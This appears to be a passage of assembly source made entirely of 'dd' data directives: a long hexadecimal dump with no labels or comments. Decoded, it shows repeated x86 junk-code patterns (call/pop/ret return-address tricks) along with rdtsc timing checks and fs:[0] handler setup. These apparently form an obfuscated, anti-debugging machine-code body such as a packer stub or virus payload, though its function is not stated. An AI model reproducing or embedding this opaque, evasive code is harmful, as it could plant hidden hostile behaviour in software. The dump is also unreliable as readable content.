		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h, 48C9461h
		dd 3547AC11h, 7E9h, 0C9864500h,	859BB535h, 0A7E6B58Bh
		dd 0DE8B0617h, 281858Bh, 890F0614h, 1Eh, 12E8h,	29759200h
		dd 9C036305h, 1739A1A3h, 132A834Ah, 81EAF73Fh, 3031A8DBh
		dd 0D88A5B0Bh, 6A0689h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0D7486FC3h, 574FD4C9h, 25F19D23h
		dd 8B5F0614h, 140E3585h, 68C0F06h, 8B000000h, 1412959Dh
		dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	56C35040h, 9719FC34h, 51DDA27Bh, 6800F5Fh, 89000000h
		dd 14258D8Dh, 0BB669606h, 6650CE2Ch, 6A96DF8Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0C9DBC352h, 0B3CA29B0h, 7617B559h, 9ACB8166h, 0E2B5FF86h
		dd 890617A7h, 14028595h, 49BB6806h, 0B7BB66B5h,	813D2587h
		dd 4A442434h, 0EB8066AAh, 0EA858D29h, 6A0617A7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0ECECC355h, 0DE8B6650h, 6A240489h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5A80C356h
		dd 0F050178Fh, 2B75BD8Bh, 95FF0614h, 614089Dh, 3C98D31h
		dd 5E90614h, 62000000h,	3C33753Ch, 3D85C761h, 3061401h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 5289C353h, 0A7EABD83h,	0F000617h
		dd 2384h, 0E95F5300h, 37h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 9DC35646h, 110C3050h,	1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 8BC08B00h, 140475BDh, 3DBD8306h,	3061401h
		dd 3E6850Fh, 9D890000h,	6140071h, 0A7EABD83h, 0F000617h
		dd 3D384h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0EAB5FFE1h, 8B0617A7h, 3995FFDEh
		dd 8A061403h, 0DEB58BDEh, 6A0617A7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0E872C355h
		dd 0E9F88A3Fh, 0Fh, 0EBEE2F9Eh,	0C3966507h, 13C8526Fh
		dd 0C72F45D5h, 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0CC2AD2FBh, 4EABFEE5h
		dd 96D98B66h, 0C68B6660h, 61D98B66h, 52505650h,	12E8h
		dd 53251500h, 177A3C19h, 0FCFD4895h, 0D4F35030h, 5F690C39h
		dd 585A310Fh, 0BD89965Fh, 6142355h, 0A7EAB5FFh,	810F0617h
		dd 3, 0FF68F780h, 14108195h, 0DEB58B06h, 6A0617A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 4036C355h, 0D8494200h, 0DF27AA16h, 3481BD8Bh
		dd 858B0614h, 6140FF9h,	160D9D8Bh, 86890614h, 0C4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FEC35242h, 8B0B82FDh
		dd 14190D9Dh, 69958B06h, 0F06142Bh, 168Ah, 0BE800h, 4FB90000h
		dd 0FCDF20E7h, 0DC06AC1Ah, 9A32BB7Fh, 835B7828h, 0BD8B04C2h
		dd 61410A1h, 6A205089h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 26EEC353h, 0F64540Ah
		dd 0D98BFEB7h, 0BC23858Dh, 0CE90617h, 0
		dd 0B785CA53h, 0FFD56DCBh, 89BA7BCFh, 0B886h, 0A183BB00h
		dd 6A238Ch, 7C29C7BBh, 0EAB5FF4Fh, 660617A7h, 0FF96E2BBh
		dd 1433AD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 13E9D162h, 0E6000000h, 7A496487h
		dd 5380C92h, 183FCECCh,	50710DF2h, 8A96F64Ah, 8F0F50D9h
		dd 10h,	7E8h, 7AB62600h, 0B10326E9h, 5FF88B66h,	459D8B96h
		dd 0FF061408h, 17A7EAB5h, 0CB8006h, 313DBD03h, 95FF0614h
		dd 6142309h, 9E9h, 26269200h, 0BD973BF2h, 0BD83A4C8h, 6141189h
		dd 61840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 18C0C355h, 9D8B568Dh
		dd 6141FC1h, 2FBB505Fh,	89291AD9h, 6A2434h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C51D48C3h
		dd 0E58589E9h, 6006140Eh, 1099B531h, 81660614h,	61D77ED8h
		dd 0A7EAB5FFh, 0FFF90617h, 1402D595h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0B8BF506Ch, 0C41BD8Bh, 870F0614h, 3,	0FFD9BF0Fh, 17A7EAB5h
		dd 0FFD4B706h, 140B7595h, 5E806h, 69510000h, 8BCEEC31h
		dd 141705BDh, 800F5B06h, 0
		dd 112DBD83h, 0F020614h, 8584h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8B66741Eh
		dd 89B589D9h, 0E9061416h, 13h, 71BCE59Ah, 0B5DD5EF1h, 5AFEB2B3h
		dd 0F5209Dh, 8B976E21h,	14005585h, 0B37FBB06h, 0C6495Ch
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0FA6E9A01h, 0E94A6820h, 12h, 18A8CD2h, 0CD984E1Ch
		dd 1AA3FF59h, 0FD3F469h, 85C74539h, 6141E49h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5AC35747h
		dd 9D8B4AABh, 6140741h,	0FFF3ACE9h, 0F5BD8BFFh,	8B06142Fh
		dd 56006AC1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0C20D1D80h, 0B07645E2h, 4585293Ch, 8D061431h
		dd 14079185h, 8B666006h, 669061CBh, 5048ECBBh, 48A0Fh
		dd 0BF660000h, 6A90186Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 297CC353h, 14128D9Dh
		dd 6800F06h, 8B000000h,	1407FD9Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3DD5C356h, 9589817Ch, 6142A69h, 8B66006Ah, 719D8BDFh
		dd 8D061412h, 1878F885h, 11958906h, 83061420h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0F3864FC3h, 9B2C3EB2h, 0FE91EF2h, 0F9000000h, 740C2E5Ch
		dd 94CBC005h, 68151E3Eh, 0B75004E9h, 240489D2h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 85C35646h, 0A520ED15h
		dd 6A7EE2h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 19h,	9CC35545h, 0CA593E29h, 6A006AC3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0BF74C355h
		dd 153A0B7Ch, 0ED9D892Ch, 0FF06142Fh, 141B1995h, 0DBD8B06h
		dd 8D061400h, 17A7788Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0ADBD310Ch, 89061406h
		dd 1423D595h, 83D1FF06h, 1401CDBDh, 850F0106h, 78h, 870F026Ah
		dd 6, 197DB589h, 50900614h, 0FDF8B52h, 9E931h, 820B0000h
		dd 24469F99h, 5A730406h, 0DE85058h, 0B1000000h,	88F2D5EEh
		dd 0BD4DF798h, 53BDD876h, 58D0Fh, 20BB0000h, 5B06F042h
		dd 55E78090h, 33AD95FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B418A1C3h, 0F4615F19h
		dd 9D230E2Bh, 6142975h,	0E7CE9h, 0E800h, 815D0000h, 187902EDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6AF841h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8BD6C3h, 61416D9h, 8E49858Dh
		dd 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0D2C5FCC3h, 61E00F04h, 0BD0187B7h, 6140B9Dh
		dd 850F90h, 50000000h, 522EBB66h, 6DBD8990h, 64061429h
		dd 35FFh, 81660000h, 640D25D3h,	2589h, 0BD8B0000h, 6142689h
		dd 2DED85FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 10D3E7C3h, 870CAF75h, 1F01BD8Bh
		dd 0FF6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0F4C35545h, 0D2D5CE02h,	0D7803374h, 0DB5FFBBh
		dd 6A061408h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B190C356h, 694A05C6h,	2DB58904h
		dd 8906141Fh, 141271B5h, 8995FF06h, 0E906142Ah,	14Ah, 8900B0F9h
		dd 1411219Dh, 6670E606h, 71E4FB8Bh, 15CD9589h, 613C0614h
		dd 12C830Fh, 0B60F0000h, 0EE9C8h, 94220000h, 3CD55877h
		dd 23891496h, 6B9EFE0Eh, 6BAh, 0A1858900h, 8B06141Fh, 0C890FC1h
		dd 0F000000h, 68Ah, 919D8B00h, 0C106142Ah, 0E78104E8h
		dd 6002BD9Ch, 8BE2F766h, 140F219Dh, 0BFC82B06h,	39CC9412h
		dd 8D0FD18Bh, 10h, 0BE9h, 8942C000h, 75E10C31h,	39C7D246h
		dd 3E9h, 0FAB70F00h, 2DA1858Bh,	0BF0F0614h, 6ABA60DEh
		dd 0F8085B32h, 7C08361h, 6D38166h, 0C08302h, 238A0Fh, 5E80000h
		dd 3F000000h, 60047DEAh, 12E8h,	3A7B4F00h, 0BAE66B65h
		dd 1C3F3210h, 674D512Ch, 5BD0E181h, 0FD03B5Fh, 1483h, 98D8900h
		dd 0E906142Ah, 66h, 4CB86660h, 84DC80F1h, 5D8D8B61h, 0E806140Ch
		dd 6, 774AD3C1h, 10E86EBEh, 7D000000h, 3CDCA8Bh, 1F68BBA6h
		dd 0B3BE820Eh, 81AB398Dh, 47BA81CBh, 835F5B52h,	840F01E1h
		dd 26h,	14DB589h, 0A5830614h, 6140C5Dh,	89FE8BFEh, 142DA195h
		dd 68A0F06h, 8B000000h,	140A0DBDh, 0E906h, 0B58D0000h
		dd 617EB6Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	32C35040h, 1753FB38h, 57CBF1F4h, 6A006AA4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 2274C351h, 6820Fh, 0BD890000h, 6140755h, 297195FFh
		dd 89600614h, 140255BDh, 0CBE38106h, 614CF921h,	808B9h
		dd 91B53100h, 8306141Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 374E55C3h, 6AFCFDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 69EBA8C3h, 0C02B2B1Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 4DC35545h, 0B3B56E2h,	6268088Bh, 0BAh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 7A13F7AEh, 0AD483A24h, 0E8D1C233h, 0E983D003h
		dd 0FCF47504h, 9698D29h, 880D0614h, 89000000h, 1425C985h
		dd 69958B06h, 6A06142Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0B08FC353h,	79B58960h
		dd 2906141Ah, 140A2D85h, 8D8B6106h, 6141055h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h, 6D850911h
		dd 306141Ah, 1420C5BDh,	7830F06h, 0F000000h, 182h, 8B50F800h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 50C35646h, 175BD03h
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F5AC2C3h, 0BD83FFBFh, 6140F4Dh, 47840F00h
		dd 80000000h, 0B891C3h,	31000000h, 140DCD85h, 0FF8D8D06h
		dd 6A06144Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 3D14C353h, 0FD705E5h, 58Dh, 0B7DBBB00h
		dd 0E1FF360Ah, 1A05BD89h, 0BD830614h, 614013Dh,	0C5840F00h
		dd 0BF000004h, 54989E76h, 13DBD83h, 0F010614h, 4CE84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 7D573ABDh, 0BD8BDDEFh, 6140FEDh,	13DBD83h
		dd 0F030614h, 46486h, 6A60F900h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 83DFC351h, 420D9DE9h
		dd 9D8B5794h, 614258Dh,	6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 724C356h
		dd 9A1ADA94h, 23E32F09h, 0E180DA8Bh, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 54664B11h
		dd 8D899830h, 6141215h,	840FC90Ah, 116h, 0E35858Bh, 6A0614h
		dd 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 3B0AC7C3h
		dd 195894Fh, 8906140Bh,	141A519Dh, 0C9858906h, 33061433h
		dd 1406A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 39BD0B21h, 90061430h, 50FB8B66h
		dd 0E990F98Bh, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h
		dd 317A2EA2h, 0BB006A5Fh, 232B89C3h, 99F09A68h,	24348115h
		dd 1586F365h, 0B40FE5BFh, 9D95FF5Dh, 6A061408h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0DD6CC356h, 89626A8Bh, 17A7EA85h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 859D8B7Fh
		dd 6006142Bh, 8E9h, 2E158C00h, 0E8B8C7EBh, 0D98D89C5h
		dd 61061423h, 236E9h, 0EE900h, 0F3830000h, 0CFD19C19h
		dd 135270BDh, 0C600A4E7h, 261B589h, 858B0614h, 617A7E2h
		dd 0C599509h, 0C70614h,	18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0CDC35343h,	0E82E789Eh, 0Eh
		dd 52B355D0h, 0FE6A644h, 259342B2h, 9D238E41h, 6140B15h
		dd 0E6B58B5Bh, 310617A7h, 142D2595h, 81858B06h,	6A061402h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0B2A3C357h, 0D433AD8Eh, 0AE97D6F9h, 1F059D23h
		dd 6890614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0A2C35545h, 0E18D893Fh,	66061418h, 8B34CF81h, 0E35858Bh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 5E306AC3h, 1934D9CEh, 60233FDFh, 1C6D8D8Bh
		dd 89610614h, 8D890446h, 6141371h, 28BF6696h, 60565056h
		dd 8BF18B66h, 965B61C7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 20C35545h, 6468C4BFh,	0E2B5FF1Ch, 890617A7h
		dd 142B4D8Dh, 0F98B6606h, 4E8h,	1F03FF00h, 16880F00h, 0F000000h
		dd 108Ch, 0BE900h, 126D0000h, 5ADC73E6h, 1A0C7A3h, 0BB66505Ah
		dd 448B1688h, 8B660424h, 89008BD8h, 66042444h, 58953FBBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DAC35545h
		dd 0B3CDFA8Dh, 0B03B65CAh, 9D8BF54Bh, 6142C49h,	0A7EA858Dh
		dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 97BAF7C3h, 0BF83C8E2h, 4E7B6A1Ch,	2DBF6690h
		dd 5EB750FBh, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 9F4766FCh, 9D8BE164h, 6140891h, 0A6F78166h
		dd 9D95FFAEh, 6A061408h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 7415C350h, 61A3D8ACh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D9C35545h
		dd 8E095B10h, 26399D89h, 85C70614h, 614013Dh, 3, 3248DB81h
		dd 0BD834736h, 617A7EAh, 66840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9762C352h, 0ADA249Ah, 85AA7CD0h, 0CE9h, 9447E500h, 9685039Ah
		dd 200EED23h, 45E9F93Ch, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 359C353h
		dd 0D3816660h, 8D8911B2h, 6141BE5h, 0C305061h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 10E9h, 20038700h
		dd 7C6D101Bh, 0A828AFD1h, 0C1F14A7Dh, 8D8960F3h, 6141021h
		dd 8BE98166h, 8D89614Eh, 6142A15h, 13DBD83h, 0F030614h
		dd 42685h, 91BD2300h, 83061410h, 17A7EABDh, 840F0006h
		dd 413h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	18C35343h, 7B1D3F6h, 7367CF9Bh,	0F99D330Fh, 0FF06142Bh
		dd 17A7EAB5h, 897BB706h, 1400059Dh, 3995FF06h, 6A061403h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 6F34C356h, 0EE8650BDh, 0D66547DCh, 8BFEBF0Fh
		dd 17A7DEB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 5BB36C0Eh, 0EBE9C982h, 8B66CE18h
		dd 21BD31D9h, 0C706140Eh, 1000106h, 96FA8B00h, 0CB8B6660h
		dd 91F5BA66h, 6A965061h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E89BC352h,	8, 77ABCD62h
		dd 0D0C1D39h, 9C59D8Bh,	0FF5B0614h, 17A7EAB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B9618Ah, 26E09EC5h,	85316084h, 61434C1h, 0FF61C5B5h
		dd 14108195h, 0FDBD8B06h, 8B06140Fh, 17A7DEB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 41A50910h, 97668C0Eh, 0EE92DF81h, 858B47B3h,	6140FF9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 30C35646h
		dd 6735B366h, 0C48689h,	958B0000h, 6142B69h, 2BA19D8Bh
		dd 0C2830614h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 864DB613h, 0D8DBD8Bh
		dd 50890614h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0D8CC0F20h, 24C0D843h, 2B39BD8Bh
		dd 0BD310614h, 6140015h, 0BC23858Dh, 8D890617h,	61416CDh
		dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8B5BF9C3h, 141E6DBDh, 6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5A4EC356h, 0E69E93CDh, 11E9B7h, 78810000h
		dd 0B6E7C53Bh, 0B772D309h, 920399DEh, 0FF73BA1Bh, 17A7EAB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 3075A310h, 0D88AE673h, 33AD95FFh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 9E14ADC3h, 505096A1h, 0FE8B6052h, 310F5250h,	0F61585Ah
		dd 0BF666031h, 5A614519h, 6A9658h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0F904B4C3h, 20899326h
		dd 0DE8F821h, 0CE000000h, 0FBB9BA3h, 45665A31h,	0E01170B2h
		dd 0F8D8D89h, 0FF5F0614h, 17A7EAB5h, 5BD0B06h, 0FF061400h
		dd 14230995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 8E2FBEC6h, 8F0F5640h, 6, 19D1B529h
		dd 835F0614h, 141189BDh, 840F0006h, 3Bh, 0EE9h,	0A5AC8F00h
		dd 0CD9FE6F6h, 28705306h, 96749303h, 4713BF66h,	77EDBF50h
		dd 6A967902h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FFE5C355h, 17A7EAB5h,	0FFA8B06h
		dd 28Eh, 0FFD98B00h, 1402D595h,	0FF8FB306h, 17A7EAB5h
		dd 0FFF88B06h, 140B7595h, 0F8BF0F06h, 112DBD83h, 0F020614h
		dd 3E84h, 0E1858900h, 8B06141Ah, 14005585h, 1D9D0106h
		dd 0C6061403h, 6A0000h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 984E1CC3h, 0A3FF59CDh, 0AD3811Ah
		dd 0C7275E29h, 141E4985h, 6, 0DE96000h,	0
		dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 0C5BD89h,	0E9610614h
		dd 0FFFFF2AEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	73C35040h, 4843484Bh, 0E080602Bh, 71B58911h, 61061415h
		dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 81A186C3h, 31A566D7h, 0A1BB666Ah,	91858D25h
		dd 6A061407h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0C6C2C351h, 2B52F8D0h,	0F62EA6FCh
		dd 0A059501h, 66500614h, 89ADB3BBh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FA6BF9C3h
		dd 3D35F3Bh, 14026D9Dh,	6AFE8B06h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 67785D0Ah
		dd 0F7D77642h, 60D8BF0Fh, 25DDBD89h, 6A610614h,	0AD858D00h
		dd 8B061889h, 1419F9BDh, 5C08306h, 1E599589h, 50900614h
		dd 6A90D98Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0A50BC355h, 0D2FD4EFBh, 290B61ECh
		dd 0E5BD8Bh, 81660614h,	6ADDBCCBh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 36FC1B7Ch
		dd 0A5338CB1h, 7E89953h, 1D000000h, 4B09DEE7h, 0D88BB1FEh
		dd 0F98B665Fh, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 99FCB4C3h, 33C33A41h, 666C7C12h
		dd 95FFD98Bh, 6141B19h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0CC35545h, 66832669h,	0A19D8BDCh, 0BB06142Ah
		dd 26A02DE7h, 0A7788D8Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0EA73F4C3h, 0FFF5E469h
		dd 4973BBD1h, 0BD8363B0h, 61401CDh, 86850F01h, 66000000h
		dd 26ADA8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	42C35343h, 89FA8B50h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 4218AFC3h
		dd 5BEE9F71h, 60BBCF3Fh, 162D9D8Bh, 8D090614h, 6140B49h
		dd 0AD95FF61h, 6A061433h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0DEEEC357h,	815283F2h
		dd 9D6279D3h, 0CAEE92Ch, 0E80000h, 5D000000h, 89B7ED81h
		dd 9D230618h, 6142F31h,	68A0Fh,	9D8B0000h, 6142BADh, 8E49858Dh
		dd 50FC0617h, 0D98B5250h, 585A310Fh, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 2CBAC352h, 7D34DDD7h, 0FBB70F7Eh, 184D9D8Bh,	0FF640614h
		dd 35h,	95958900h, 64061413h, 2589h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 48E5EEC3h
		dd 0C30FFDADh, 53DF3DB6h, 5FF88B66h, 0DFC38166h, 0ED85FFE1h
		dd 8B06142Dh, 1420099Dh, 60FF6A06h, 10DDBD8Bh, 0EE90614h
		dd 0BE000000h, 0B0416FC8h, 0A1EBA011h, 903B05B1h, 860F613Ch
		dd 1, 55B5FFF5h, 0F06140Dh, 380h, 0F98B6600h, 2A8995FFh
		dd 0F3E90614h, 89000000h, 140E5585h, 0BE906h, 47D70000h
		dd 6FD9A36h, 0E364D103h, 0E900B006h, 9,	5E22AB32h, 3E40FC8h
		dd 8170E6EFh, 1D58E7F7h, 0F71E46Ah, 68Bh, 798D8900h, 3C06142Eh
		dd 0AF830F61h, 66000000h, 0FAB7DBBh, 0BAF8C8B6h, 6, 0DC8AC18Bh
		dd 6604E8C1h, 66EEFABFh, 9D09E2F7h, 61417B5h, 0D18BC82Bh
		dd 6E9F8h, 0BD8B0000h, 61430BDh, 2F1858Bh, 9D0B0614h, 6142A09h
		dd 8107C083h, 5E928DC3h, 0C08355h, 830FD03Bh, 0Dh, 2349BD8Bh
		dd 53E90614h, 8B000000h, 0D98D8BFBh, 0E8061417h, 0Ah, 4B3F7781h
		dd 573C24A4h, 9D8BB49Fh, 6141B79h, 1E1835Fh, 2C840Fh, 9FBB0000h
		dd 8A7DD90Bh, 0D9A583FCh, 0FE061417h, 15BD0160h, 0F061419h
		dd 388h, 0F28B6600h, 0F1958961h, 8B061402h, 0E9FBh, 0B58D0000h
		dd 617F5EAh, 18E59D89h,	6A0614h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 58C35242h, 0E4E2DB14h, 880F6CF4h
		dd 5, 0F267EFBBh, 7195FF64h, 66061429h,	0A3B9F98Bh, 6A000007h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0B3D8C351h, 8BAED767h, 141171BDh,	0FCE18306h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BEC35040h
		dd 0C65C1114h, 0A5D704DAh, 6AFCF9CFh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 861FC353h
		dd 0FB18AE43h, 0B873h, 0BA0000h, 29000000h, 1407A19Dh
		dd 498D8906h, 0AD061423h, 0E8D1C233h, 0E983D003h, 66F47504h
		dd 5249D781h, 880DFA8Bh, 80000000h, 0B58917EFh,	6140255h
		dd 2B69958Bh, 57600614h, 8F0Fh,	615F0000h, 10558D8Bh, 29F50614h
		dd 1409598Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 3760C357h, 0EEE6D7EFh,	8B21A87Ch
		dd 143465BDh, 0AE806h, 0DE570000h, 0E001A639h, 8180EC63h
		dd 65A2C381h, 815B21F8h, 0F024DACBh, 4DBD8375h,	6140Fh
